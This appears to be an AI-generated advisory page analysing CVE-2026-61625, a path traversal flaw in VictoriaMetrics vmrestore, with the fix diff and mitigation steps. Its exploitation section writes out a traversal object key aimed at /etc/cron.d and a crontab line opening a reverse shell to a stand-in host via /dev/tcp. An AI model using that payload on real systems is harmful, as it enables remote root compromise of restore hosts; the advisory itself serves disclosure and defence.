CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-61625

CVE-2026-61625: Arbitrary File Write via Path Traversal in VictoriaMetrics vmrestore

Amit Schendel
Amit Schendel
Senior Security Researcher

Sep 3, 2026·6 min read·16 visits

Executive Summary (TL;DR)

A directory traversal flaw in the VictoriaMetrics `vmrestore` utility enables attackers with write access to the backup store to execute arbitrary file writes on the restoration host, which can lead to remote code execution.

CVE-2026-61625 is a path traversal vulnerability (CWE-22) within the `vmrestore` utility of VictoriaMetrics. When restoring database shards from a compromised or malicious backup source, the application fails to validate the paths of backup parts before creating and writing files. By injecting objects with directory traversal sequences (such as `../`) into the remote backup storage, an attacker can write arbitrary files to out-of-bounds locations on the system executing the restore operation. Depending on the process privileges, this can result in host compromise via remote code execution.

Vulnerability Overview

The VictoriaMetrics system relies on the vmrestore utility to restore database backups from local directories or cloud-based object storage services, including Amazon S3, Google Cloud Storage (GCS), and Azure Blob Storage. During a restoration cycle, vmrestore fetches database chunks, or 'parts,' from the designated remote storage root and writes them to the local disk inside the path defined by the -storageDataPath command-line argument.

This utility acts as a privileged file writer on the host operating system. Historically, the architectural assumption was that the backup source was an implicitly trusted entity under the exclusive control of the administrator. However, in modern multi-tenant environments or compromised cloud infrastructures, an attacker can achieve write or modification access to the backup repository.

Because the input validation boundaries were not enforced on the object paths retrieved from the backup repository, vmrestore accepted arbitrary metadata paths. An attacker who modifies the backup store can insert malicious key paths containing backtrack characters (../), causing vmrestore to write files outside of the intended directory context.

Root Cause Analysis

The root cause of CVE-2026-61625 is an improper path validation mechanism when mapping remote object storage keys to the local restoration directory. Specifically, vmrestore loops through a list of database backup parts (srcParts) and maps each part's relative path (part.Path) to the local destination directory (dir).

To construct the full absolute path of the destination file, the codebase utilized Go's standard library function filepath.Join(dir, part.Path). According to the Go specification, filepath.Join automatically cleans the resulting path by resolving relative directory references, including parent directory references (../).

If part.Path contains a sufficient number of ../ sequences, the resolving logic in filepath.Clean will backtrack past the base directory (dir). For instance, if dir is /var/lib/victoria-metrics/data and part.Path is ../../../../etc/cron.d/malicious_cron, the joined path resolves directly to /etc/cron.d/malicious_cron. Because there was no post-resolution verification to ensure that the final path remained a subdirectory of the intended root directory, vmrestore passed this out-of-bounds path directly to the local filesystem driver.

Code Analysis and Diff Breakdown

The vulnerability was corrected in commit 710c920d6083327042a309e449fae4383617d817 by implementing strict verification checks at both the planning phase and the low-level writing stage.

// lib/backup/actions/restore.go
 
func (r *Restore) Run(ctx context.Context) error {
	if err != nil {
		return fmt.Errorf("cannot list src parts: %w", err)
	}
+   for _, srcPart := range srcParts {
+       if !srcPart.IsLocalPathInsideDir(r.Dst.Dir) {
+           return fmt.Errorf("part file %s would be written outside storage directory %s", srcPart.Path, r.Dst.Dir)
+       }
+   }
	logger.Infof("obtaining list of parts at %s", dst)

The validation is executed using the newly introduced IsLocalPathInsideDir method on the Part struct. This method ensures that the resolved location starts with the targeted directory path plus an explicit path separator, preventing sibling directory bypasses.

// lib/backup/common/part.go
 
// IsLocalPathInsideDir returns true if the part's local path resolves inside dir.
// It resolves ../../ sequences and prevents path traversal outside dir.
func (p *Part) IsLocalPathInsideDir(dir string) bool {
	dir = filepath.Clean(dir)
	if dir == "/" {
		return true
	}
 
	return strings.HasPrefix(p.LocalPath(dir), dir+string(filepath.Separator))
}

By appending string(filepath.Separator) to the end of the cleaned root directory string, the application blocks 'sibling directory' bypasses. For example, if the root directory is /data/storage, the prefix used for validation is /data/storage/. This prevents a traversal path like ../storagefoo/evil.txt from resolving successfully, as /data/storagefoo/ does not match the mandatory prefix /data/storage/.

Additionally, a low-level guard was added to lib/backup/fslocal/fslocal.go to panic if a bad path somehow slips past the planner:

func (fs *FS) NewDirectWriteCloser(p common.Part) (io.WriteCloser, error) {
+   if !p.IsLocalPathInsideDir(fs.Dir) {
+       logger.Fatalf("BUG: part file %s would be written outside storage directory %s", p.Path, fs.Dir)
+   }
 
	path := fs.writePath(p)

Exploitation Methodology

To successfully exploit CVE-2026-61625, an attacker must complete several logistical stages.

First, the attacker must achieve write access to the targeted backup repository. This may occur via stolen AWS API keys, an insecurely configured S3 Bucket Policy allowing public writes, or a compromised shared storage volume (NFS/CIFS).

Second, the attacker uploads a malicious backup block. Rather than configuring a legitimate shard key such as parts/segment_0/data.bin, the attacker creates an object named ../../../../../../../../etc/cron.d/system_maintenance.

Third, the attacker populates this object with a malicious Linux crontab script. For example:

* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/attacker.local/4444 0>&1'

Fourth, the operator triggers the standard restore command against the compromised repository. When vmrestore runs, it iterates through the directory structure, encounters the crafted traverse key, resolves the path to /etc/cron.d/system_maintenance, and writes the reverse shell script. Within sixty seconds, the system's cron daemon executes the script, granting the attacker root privileges on the server.

Impact Assessment

The impact of exploiting CVE-2026-61625 is high, potentially leading to complete host compromise. Because vmrestore is frequently run with administrative permissions to write directly to database directories, any file written outside the designated restore directory inherits those write permissions.

By leveraging the arbitrary file write capability, an attacker can achieve remote code execution (RCE) on the database host. Standard targets for RCE via arbitrary writes include crontabs (/etc/cron.d), user profile files (such as ~/.bashrc), or SSH authorized keys (~/.ssh/authorized_keys). If the service runs as a containerized process, the directory traversal is typically limited to the container filesystem unless the container has host-mounted directory paths.

The vulnerability received a CVSS v3.1 score of 6.8 (Medium) rather than High/Critical due to the prerequisites: the attacker must already possess write permissions (PR:L) to the backup destination, and an operator must manually execute the restoration utility (UI:R). However, in automated recovery pipelines and disaster-recovery simulations, this user interaction can be automated, elevating the practical risk.

Mitigation and Fix Completeness

To mitigate CVE-2026-61625, administrators must upgrade VictoriaMetrics tools to versions 1.122.25, 1.136.12, 1.146.0 or later. These versions contain the complete path containment fix.

For systems where an immediate upgrade is not feasible, the following operational mitigations must be implemented:

  1. Apply strict IAM policies to backup storage. Restrict s3:PutObject or equivalent cloud storage permissions to only authorized backup service accounts, ensuring that monitoring systems or external parties can read but not write to the backup bucket.

  2. Scan existing backup targets for traversal sequences. Before running vmrestore, execute checking scripts or run the following command to check for directory traversal structures in S3 keys:

aws s3api list-objects --bucket <your-backup-bucket> --query "Contents[?contains(Key, '..')].Key"

The fix implemented by the VictoriaMetrics maintainers is robust. It applies path validation at the planning layer and uses a second defense-in-depth barrier directly in the filesystem writer, preventing future development regressions from reintroducing the vulnerability.

Official Patches

VictoriaMetricsOfficial GitHub Security Advisory
VictoriaMetricsMitigating Code Commit Patch

Fix Analysis (1)

Technical Appendix

CVSS Score
6.8/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N
EPSS Probability
0.30%
Top 77% most exploited

Affected Systems

VictoriaMetrics vmrestoreVictoriaMetrics backup-restore workflows

Affected Versions Detail

Product
Affected Versions
Fixed Version
VictoriaMetrics
VictoriaMetrics
< 1.122.251.122.25
VictoriaMetrics
VictoriaMetrics
>= 1.123.0, < 1.136.121.136.12
VictoriaMetrics
VictoriaMetrics
>= 1.137.0, < 1.146.01.146.0
AttributeDetail
CWE IDCWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
Attack VectorNetwork
CVSS v3.1 Score6.8 (Medium)
EPSS Score0.00303 (0.30% probability of active exploitation in 30 days)
Exploit StatusNone (No public functional exploits available)
CISA KEV StatusNot Listed
ImpactArbitrary File Write / Remote Code Execution

MITRE ATT&CK Mapping

T1083File and Directory Discovery
Discovery
T1005Data from Local System
Collection
T1037Boot or Logon Initialization Scripts
Persistence
CWE-22
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The software uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize special elements such as '..' that can resolve to a location outside of the restricted directory.

References & Sources

  • [1]VictoriaMetrics GHSA Security Advisory
  • [2]Fix Commit 710c920d6083327042a309e449fae4383617d817
  • [3]VictoriaMetrics Release v1.122.25
  • [4]VictoriaMetrics Release v1.136.12
  • [5]VictoriaMetrics Release v1.146.0
  • [6]CVE-2026-61625 Record on CVE.org
  • [7]NVD Vulnerability Details for CVE-2026-61625

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•9 days ago•CVE-2026-87697
8.8

CVE-2026-87697: Untrusted Deserialization in .NET PresentationCore Clipboard Handling

A remote code execution vulnerability exists in Microsoft .NET due to untrusted data deserialization within the PresentationCore component. The flaw stems from implicit auto-conversion flags during clipboard data retrieval operations.

Alon Barad
Alon Barad
30 views•5 min read
•9 days ago•CVE-2026-70007
8.8

CVE-2026-70007: Out-of-Bounds Write Vulnerability in .NET Framework and WPF Subsystem

An out-of-bounds write vulnerability in Microsoft .NET Framework, .NET runtime, and Visual Studio allows unauthenticated remote attackers to execute arbitrary code via crafted pixel-shader bytecode or auto-converted clipboard payloads.

Amit Schendel
Amit Schendel
18 views•6 min read
•9 days ago•CVE-2026-70186
7.5

CVE-2026-70186: ASP.NET Core Denial of Service Vulnerability via Framework Deadlock

ASP.NET Core contains a thread deadlock vulnerability (CWE-833) that allows an unauthenticated remote attacker to cause a denial of service over the network by exhausting server thread pool resources.

Amit Schendel
Amit Schendel
17 views•5 min read
•9 days ago•CVE-2026-70035
8.8

CVE-2026-70035: Insecure Deserialization Remote Code Execution in Microsoft .NET Framework and .NET Runtime

CVE-2026-70035 is a high-severity Remote Code Execution (RCE) vulnerability in Microsoft .NET Framework, .NET runtime, and Visual Studio caused by improper handling during the deserialization of untrusted data (CWE-502). An unauthenticated attacker can execute arbitrary code within the context of the affected process by delivering a crafted serialized payload.

Amit Schendel
Amit Schendel
23 views•6 min read
•9 days ago•CVE-2026-70183
7.5

CVE-2026-70183: Elevation of Privilege in ASP.NET Core and Visual Studio via Concurrent Race Condition

An elevation of privilege vulnerability exists in ASP.NET Core and Microsoft Visual Studio due to improper synchronization during concurrent thread execution. Authenticated remote attackers with low privileges can exploit a timing window to manipulate shared resources and assume higher-level execution contexts.

Alon Barad
Alon Barad
20 views•5 min read
•12 days ago•CVE-2026-107844
5.3

CVE-2026-107844: Path Traversal Vulnerability in Contao ImagesController

A path traversal vulnerability (CWE-22) in Contao CMS allows unauthenticated remote attackers to bypass directory boundary restrictions in ImagesController and access files within the project directory.

Amit Schendel
Amit Schendel
23 views•5 min read